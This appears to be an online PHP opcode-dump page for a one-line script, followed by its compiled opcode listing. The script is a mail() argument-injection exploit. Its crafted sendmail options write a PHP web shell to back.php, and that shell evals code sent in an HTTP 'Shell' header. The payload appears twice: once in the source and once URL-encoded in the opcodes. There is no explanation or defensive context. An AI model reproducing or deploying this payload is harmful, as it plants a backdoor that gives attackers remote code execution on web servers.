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<?php mail('','','','','-f "<?if(isset(\$_SERVER[HTTP_SHELL]))eval(\$_SERVER[HTTP_SHELL]);/*@*/?>" -OQueueDirectory=/tmp -X /in/back.php');
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 62) Position 1 = -2
filename:       /in/MnZBk
function name:  (null)
number of ops:  8
compiled vars:  none
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    2     0  E >   INIT_FCALL                                               'mail'
          1        SEND_VAL                                                 ''
          2        SEND_VAL                                                 ''
          3        SEND_VAL                                                 ''
          4        SEND_VAL                                                 ''
          5        SEND_VAL                                                 '-f+%22%3C%3Fif%28isset%28%5C%24_SERVER%5BHTTP_SHELL%5D%29%29eval%28%5C%24_SERVER%5BHTTP_SHELL%5D%29%3B%2F%2A%40%2A%2F%3F%3E%22+-OQueueDirectory%3D%2Ftmp+-X+%2Fin%2Fback.php'
          6        DO_ICALL                                                 
          7      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


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